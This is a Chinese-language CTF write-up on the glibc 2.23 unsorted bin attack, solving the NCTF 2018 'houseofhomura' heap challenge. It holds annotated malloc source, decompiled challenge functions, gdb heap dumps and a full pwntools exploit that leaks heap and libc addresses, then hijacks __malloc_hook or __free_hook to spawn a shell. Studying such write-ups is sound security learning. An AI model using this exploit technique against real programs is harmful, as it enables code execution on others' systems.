Unsorted bin¶
malloc¶
static void * _int_malloc (mstate av, size_t bytes) // mstate 为 main_arena 结构体 { INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ // Covert request size to normalized request size checksed_request2size(bytes, nb); ... for(;;) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks(av)) // unsorted_chunk (av) 为 main arena + 88 即 main arena 中存储 unsorted bin fd bk 的地方 { bck = victim->bk; // victim 为将被从 unsorted bin 链上取下来的那一块 size = chunksize(victim); mchunkptr next = chunk_at_offset (victim, size); ... / * glibc2.27 add the check glibc2.23 doesn't have this check if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("mallloc(): unsorted double linked list corrupted"); if (__libc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); */ // if a small request , try to ues last remainder if it is the only chunk in unosrted bin. if (in_samllbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {...} /* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ // because size fits ,so after setting some values or checking some values, it returns p if (size == nb) { ... return p; } /* place chunk in bin */ if (in_samllbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largenbin_index(size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) {...} else {...} } mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (iters >= MAX_ITERS) break; } /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range(nb)) {...} else {...} ... use top : ... ... } }
上述代码中 // 注释的为笔者加的注释,/* */ 为代码中原生注释,英文写的 // 为笔者为便于理解 unsorted bin 的大框架简写了代码中原生注释
在笔者看来,unsorted bin 中取下 victim 那一块时 ,victim 的 bk 可以称得上是 unsorted bin malloc 的发起点,相反 victim 的 fd 甚至基本毫无提及。在检测很少的 unsorted bin 的 malloc ,如果能修改 free 掉的 unsorted bin 的 bk,将 unsorted bin 的 bk 改成 目标地址-0x10,那么就能在 fake_bk+0x10 的地址上写上 (main arena+88) 的值,比如将 global_max_fast 的值改大,则之后的 chunk 的 malloc 和 free 皆变成了 fastbin 的 malloc 和 free,但是 unsorted bin 的机制基本可以说是废掉了,再使用便会 crash。
主流的两种 unsorted bin attack ,一种是更改 global_max_fast 另一种是 house of orange 中更改 _IO_list_all (这个我还没搞懂,留坑=.=)
学长说还有一种比较典型的 attack , house of roman 也是用的这个办法,略微看了一下,基本思想就是,能够将 main_arena+88 写入 __malloc_hook
然后进行更改后3个字节,触发 malloc_printerr
从而 getshell (留坑)
free¶
__int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ ... if (nextchunk != av->top) { ... /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("free(): corrupted unsorted chunks"); p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } bck->fd = p; fwd->bk = p; ... } ... }
unsorted bin 的 free 就朴实很多,跟正常的双向链表没什么区别。
2018 NCTF houseofhomura¶
前言¶
这个题目是 glibc2.23 ,在 glibc2.23 中连 check(victim->bk->fd == victim) 都没,而每次将链表中 chunk 拿出来之后,是用 unsorted_bins(av)->bk 遍历整个双向链表,即使双向链表中 fd 除 unsorted_bins(av)->fd 以外都是错误的,如果 unsorted_bins(av)->bk 的 fd 是指向 main_arena+88 的位置的,遍历 unsorted bins 的双向链表时,victim->bk->fd 每次都是被动被赋值成 unsorted_bins(av)->fd ,因此一层一层遍历下来, fd 都会被赋值成相同的值
(虽然我还是想默默吐槽一下,NCTF 2018 这题官方 exp 写的毫无注解,但是还是很巧妙的,这一题 unsorted bin 的攻击方式,确实在 Google 中没有搜出来[搜到最后,再搜的时候,Google 一个版面都显示你全看过],不得已最后去调试了一发官方 exp [最后感觉官方 exp 还是写复杂了,不过已经很良心了,一些比赛连 exp 都没])
功能¶
add()¶
每一次 add() 都会产生三个 chunk
先 malloc(0x10) 用来管理之后 malloc 的两个 chunk
struct P { char* name; char* message; }
void add() { struct P *v0; // rbx struct P *v1; // rbx signed int i; // [rsp+4h] [rbp-1Ch] int v3; // [rsp+8h] [rbp-18h] int v4; // [rsp+Ch] [rbp-14h] for ( i = 0; i <= 14 && Array[i]; ++i ) ; if ( i <= 14 ) { Array[i] = (struct P *)malloc(0x10uLL); v0 = Array[i]; v0->name = (char *)malloc(0x10uLL); printf("length of your name:"); v3 = Atoi(); if ( v3 > 15 ) v3 = 16; printf("your name:"); Read(Array[i]->name, v3); printf("size of your message:", (unsigned int)v3); v4 = Atoi(); if ( v4 <= 0x80 || v4 > 0xFFF ) v4 = 0x80; v1 = Array[i]; v1->message = (char *)malloc(v4 + 16); printf("please leave your message:"); Read(Array[i]->message, v4); puts("Done!"); } else { puts("full!"); } }
delete()¶
删除的时候,会清空 Arrray[v0],但是没清空 struct P 中两个指针(UAF)
void delete() { int v0; // [rsp+Ch] [rbp-4h] printf("index:"); v0 = Atoi(); if ( v0 >= 0 && v0 <= 14 ) { free(Array[v0]->name); free(Array[v0]->message); free(Array[v0]); Array[v0] = 0LL; puts("Done!"); } else { puts("invalid"); } }
modify()¶
漏洞就出在这里,唯一可以打印的地方,以及唯一可以修改的地方(其实不是唯一可以修改的地方)
可以想到,如果在 delete() 之前 modify() 了,那么该 struct P 指针就会被记录在 qword_2020E0 这个位置,又因为 delete 之后可以 UAF,所以能更改被 free 之后 message 那一块的值,同样因为 UAF,即将被 malloc 块的(不包含头的)前8个字节上面有值,即原来残留的 fd ,然后在 add 的时候,输入空("")那么就能泄露 heap base 和 libc base ,一个通过 fastbin 的 fd 泄露,一个通过 unsorted bin 的 fd 泄露 libc
对于被 free 掉的 unsorted bin 可以更改 fd bk 形成 fake unsorted bin 链
void modify() { int v0; // [rsp+8h] [rbp-18h] int v1; // [rsp+Ch] [rbp-14h] printf("index:"); v1 = Atoi(); if ( v1 >= 0 && v1 <= 14 ) { if ( Array[v1] ) qword_2020E0 = Array[v1]; if ( qword_2020E0 ) { printf("size:"); v0 = Atoi(); if ( v0 > strlen(qword_2020E0->message) ) v0 = 16; printf("Hello %s you can modify your message >", qword_2020E0->name); Read(qword_2020E0->message, v0); puts("Done!"); } } else { puts("invalid"); } }
edit_len_0¶
modify 跟 edit_len_0 最大的区别就是,modify 根据 strlen(message) 再次输入,而 edit_len_0 可以在 len = 0 时,进行复写
void edit_len_0() { int v0; // [rsp+Ch] [rbp-34h] char s; // [rsp+10h] [rbp-30h] __int64 v2; // [rsp+28h] [rbp-18h] unsigned __int64 v3; // [rsp+38h] [rbp-8h] v3 = __readfsqword(0x28u); if ( vuln_argv == 0xDEADBEEF ) { vuln_argv = 0; printf("index:"); v0 = Atoi(); if ( v0 >= 0 && v0 <= 14 ) { if ( Array[v0] ) qword_2020E0 = Array[v0]; if ( qword_2020E0 ) { printf("modify your message>"); memset(&s, 0, 0x28uLL); Read(&s, 8u); printf("Here you can modify once again!>", 8LL); Read((char *)&v2, 8u); memcpy(qword_2020E0->message, &s, 0x20uLL); puts("Done!"); } } else { puts("invalid"); } } }
分析¶
leak heap & libc¶
add() 三次 chunk : 0x20 0x20 0xa0 | 0x20 0x20 0xa0 | 0x20 0x20 0xa0 然后 delete(1) delete(0) 再 add() 的时候,name = "" 通过 modify() 打印,泄露出 heap base
libc 则通过先 add() 一个大块,然后 delete() 之后,add() 小块,小块会切分大块 unsorted bin ,从而 leak libc
log.info("leak heap") add(0x10, "A"*0xF, 0x80, "a"*0x20) # 0 add(0x10, "B"*0xF, 0x80, "b"*0x20) # 1 add(0x10, "C"*0xF, 0x80, "c"*0x20) # 2 modify(0, 0x21, "a"*0x20) delete(1) delete(0) add(0, "", 0, "") heap_base = leak(0, 0, "") - 0xe0 success("heap", heap_base) pause() log.info("leak libc") add(0x10, "D"*0xF, 0x80, "d"*0x20) # 1 add(0x10, "E"*0xF, (0xa0+0x20+0xa0), "e"*0x20) # 3 add(0x10, "F"*0xF, 0x80, "f"*0x20) # 4 delete(3) add(0, "", 0, "") # 5 add(0, "", 0, "") # 6 libc.address = leak(5, 0, "") - 88 - 0x3c4b20 success("libc", libc.address) pause()
构造 fake unsorted bin 链¶
如果最后能把一个 P 中指向 message 的指针变成自己可控,岂不美哉。这一个利用手法实在太强了[到了 libc2.27 就等着死吧 orz
在官方的 exp 中通过设计,将一个正在使用的 name 的块,放入了unsorted bin 链中,然后通过 unsorted bin 的 sort 的机制,被放入了 small bins 中,一个 name 的 chunk 即将变成另一个 add() 中的 struct P 想想就激动
想想需要满足些什么条件,最起码 bk 的链需要循环,fd 的链则不用,unsorted_bins(av)->bk 的 fd 必须是 main_arena+88 ,对于 unsorted_bins(av)->bk 必须指向需要构造链的最下面那个 chunk 。不妨将 unsorted_bins(av) 的|fd bk| 看成一个chunk, chunk A, unsorted bins 链中间一块看成 chunk B,unsorted_bins(av)->bk 看成 chunk C
目标:
unsorted bins A <=> B <=> C A.bk == C C.bk == B B.bk == A (main_arena+88) C.fd == A (main_arena+88)
exp :
main_arena = libc.address + 0x3c4b20 system = libc.sym['system'] __malloc_hook = libc.sym['__malloc_hook'] __free_hook = libc.sym['__free_hook'] # one_gadget = libc.address + 0xf02a4 / 0xf1147 both can get shell one_gadget = libc.address + 0xf1147 log.info("hijack unsorted bin") delete(5) modify(5, 0x20, p64(heap_base+0x20)*2) add(0x10, "G"*0xF, 0x80, p64(main_arena+88)*4) modify(0, 0x20, "\x90"*0x20) delete(0) add(0x10, p64(main_arena+88)+p64(heap_base+0x120), 0x80, p64(main_arena+88)*4)
gdb 调试¶
delete(5) & modify()¶
pwndbg> parseheap addr prev size status fd bk 0x55c846963000 0x0 0x20 Used None None 0x55c846963020 0x0 0x20 Used None None 0x55c846963040 0x0 0xa0 Used None None 0x55c8469630e0 0xa0 0x20 Used None None 0x55c846963100 0x0 0x20 Used None None 0x55c846963120 0x0 0xa0 Used None None 0x55c8469631c0 0xa0 0x20 Used None None 0x55c8469631e0 0x0 0x20 Used None None 0x55c846963200 0x0 0xa0 Used None None 0x55c8469632a0 0x0 0x20 Used None None 0x55c8469632c0 0x0 0x20 Used None None 0x55c8469632e0 0x0 0xa0 Used None None 0x55c846963380 0x0 0x20 Freed 0x55c8469633a0 None 0x55c8469633a0 0x0 0x20 Freed 0x0 None 0x55c8469633c0 0x0 0xa0 Freed 0x7fa141c14b78 0x7fa141c14b78 0x55c846963460 0xa0 0x20 Used None None 0x55c846963480 0x0 0x20 Used None None 0x55c8469634a0 0x0 0xa0 Used None None 0x55c8469633c0 0x0 0xa0 Freed 0x55c846963020 0x55c846963020
add() & modify(0)¶
modify(0) 仅仅是为了让 0x2020E0 记录 Array[0]
pwndbg> p main_arena $1 = { mutex = 0, flags = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x55c846963540, last_remainder = 0x55c8469633c0, bins = {0x55c8469633c0, 0x55c846963020, 0x7fa141c14b88 <main_arena+104>, 0x7fa141c14b88 <main_arena+104>, 0x7fa141c14b98 <main_arena+120>, 0x7fa141c14b98 <main_arena+120>, 0x7fa141c14ba8 <main_arena+136>, 0x7fa141c14ba8 <main_arena+136>, 0x7fa141c14bb8 <main_arena+152>, 0x7fa141c14bb8 <main_arena+152>, 0x7fa141c14bc8 <main_arena+168>, 0x7fa141c14bc8 <main_arena+168>, 0x7fa141c14bd8 <main_arena+184>, 0x7fa141c14bd8 <main_arena+184>, 0x7fa141c14be8 <main_arena+200>...}, binmap = {16777216, 0, 0, 0}, next = 0x7fa141c14b20 <main_arena>, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168 }
delete(0) & add(0x10, p64(main_arena+88)+p64(heap_base+0x120), 0x80, p64(main_arena+88)*4)¶
进行 unsorted bin bk 的循环闭合
这个地方我没下断点下好,讲一下为什么到了这一步吧,在 add() 中, malloc(0x10) 之后 malloc(0x10) ,这个就是 heap_base + 0x20 即 上面讲的 chunk C
在遍历 unsorted bins 时,会先将 0x20 拿出来,再把 unsorted bins 拿出来
unsorted_bins(av)->bk = (0x20) (0x20).fd = unsorted_bins(av) / main_arena+88 (0x20).bk = (0x120) (0x120).bk = unsorted_bins(av) / main_arena+88 (0x120).fd = unsorted_bins(av) / main_arena+88
pwndbg> parseheap addr prev size status fd bk 0x55c846963000 0x0 0x20 Freed 0x55c846963020 None 0x55c846963020 0x0 0x20 Freed 0x0 None 0x55c846963040 0x0 0xa0 Used None None 0x55c8469630e0 0xa0 0x20 Used None None 0x55c846963100 0x0 0x20 Used None None 0x55c846963120 0x0 0xa0 Freed 0x55c8469633c0 0x7fa141c14b78
神奇的现象发生了
pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55c846963540 (size : 0x20ac0) last_remainder: 0x55c8469633c0 (size : 0xa0) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x55c846963020
开开心心
hijack¶
我试了两种,一种 hijack __malloc_hook => one_gadget
另外一种 __free_hook => system
,都可行
exp1¶
# one_gadget = libc.address + 0xf02a4 / 0xf1147 both can get shell one_gadget = libc.address + 0xf1147 # exp 1 : hijack __malloc_hook => one_gadget log.info("last step : hijack __malloc_hook => one_gadget") add(0x10, "1"*0x10, 0x80, "1"*0x20) delete(0) add(0x10, p64(__malloc_hook)*2, 0x80, "get shell") edit_len_0(6, p64(one_gadget), p64(one_gadget)) pause() log.info("Get shell") io.sendlineafter(">>", "1")
exp2¶
# exp 2 : hijack __free_hook => system log.info("last step : hijack __free_hook => system") add(0x10, "1"*0x20, 0x80, "/bin/sh\x00") delete(0) add(0x10, "/bin/sh\x00" + p64(__free_hook), 0x80, "/bin/sh\x00") edit_len_0(6, p64(system), p64(system)) pause() log.info("Get shell") delete(0)
完整 exp¶
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from time import sleep import os import sys elfPath = "./homura" libcPath = "./libc-2.23.so" Addr = "" Port = 0 context.log_level = "debug" context.binary = elfPath elf = context.binary if sys.argv[1] == "l": io = process(elfPath) libc = elf.libc else: if sys.argv[1] == "d": io = process(elfPath, env = {"LD_PRELOAD": libcPath}) context.log_level = "info" else : io = remote(Addr, Port) context.log_level = "info" if libcPath: libc = ELF(libcPath) success = lambda name, value: log.success("{} -> {:#x}".format(name, value)) def add(lenth, name, size, message): io.sendlineafter(">>", "1") io.sendlineafter("name:", str(int(lenth))) if lenth != 0: io.sendlineafter("name:", name) io.sendlineafter("message:", str(int(size))) io.sendlineafter("message:", message) def delete(idx): io.sendlineafter(">>", "2") io.sendlineafter("index:", str(idx)) def modify(idx, size, message): io.sendlineafter(">>", "3") io.sendlineafter("index:", str(idx)) io.sendlineafter("size:", str(int(size))) if size != 0: io.sendlineafter(">", message) def leak(idx, size, message): io.sendlineafter(">>", "3") io.sendlineafter("index:", str(idx)) io.sendlineafter("size:", str(int(size))) io.recvuntil("\x20") value = u64(io.recvuntil("\x20", drop=True).ljust(8, "\x00")) if size != 0: io.sendlineafter(">", message) return value def edit_len_0(idx, s, v2): io.sendlineafter(">>", "5") io.sendlineafter("index:", str(idx)) io.sendlineafter("message>", s) io.sendlineafter("!>", v2) if __name__ == "__main__": ''' [*] Test case 5: pause() add(0x10, "A"*0xF, 0x80, "a"*0x20) vuln(0, "B"*0x7, "b"*0x1F) ''' log.info("leak heap") add(0x10, "A"*0xF, 0x80, "a"*0x20) # 0 add(0x10, "B"*0xF, 0x80, "b"*0x20) # 1 add(0x10, "C"*0xF, 0x80, "c"*0x20) # 2 modify(0, 0x21, "a"*0x20) delete(1) delete(0) add(0, "", 0, "") heap_base = leak(0, 0, "") - 0xe0 success("heap", heap_base) pause() log.info("leak libc") add(0x10, "D"*0xF, 0x80, "d"*0x20) # 1 add(0x10, "E"*0xF, (0xa0+0x20+0xa0), "e"*0x20) # 3 add(0x10, "F"*0xF, 0x80, "f"*0x20) # 4 delete(3) add(0, "", 0, "") # 5 add(0, "", 0, "") # 6 libc.address = leak(5, 0, "") - 88 - 0x3c4b20 success("libc", libc.address) pause() # log.info("hijack global_max_fast") # global_max_fast 0x7f6c5d5b87f8 # libc 0x7f6c5d1f2000 # global_max_fast = libc.address + 0x3c67f8 # _IO_list_all = libc.sym['_IO_list_all'] ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' main_arena = libc.address + 0x3c4b20 system = libc.sym['system'] __malloc_hook = libc.sym['__malloc_hook'] __free_hook = libc.sym['__free_hook'] # one_gadget = libc.address + 0xf02a4 / 0xf1147 both can get shell one_gadget = libc.address + 0xf1147 log.info("hijack unsorted bin") delete(5) modify(5, 0x20, p64(heap_base+0x20)*2) add(0x10, "G"*0xF, 0x80, p64(main_arena+88)*4) modify(0, 0x20, "\x90"*0x20) delete(0) add(0x10, p64(main_arena+88)+p64(heap_base+0x120), 0x80, p64(main_arena+88)*4) ''' # exp 1 : hijack __malloc_hook => one_gadget log.info("last step : hijack __malloc_hook => one_gadget") add(0x10, "1"*0x10, 0x80, "1"*0x20) delete(0) add(0x10, p64(__malloc_hook)*2, 0x80, "get shell") edit_len_0(6, p64(one_gadget), p64(one_gadget)) pause() log.info("Get shell") io.sendlineafter(">>", "1") ''' # exp 2 : hijack __free_hook => system log.info("last step : hijack __free_hook => system") add(0x10, "1"*0x20, 0x80, "/bin/sh\x00") delete(0) add(0x10, "/bin/sh\x00" + p64(__free_hook), 0x80, "/bin/sh\x00") edit_len_0(6, p64(system), p64(system)) pause() log.info("Get shell") delete(0) io.interactive() io.close()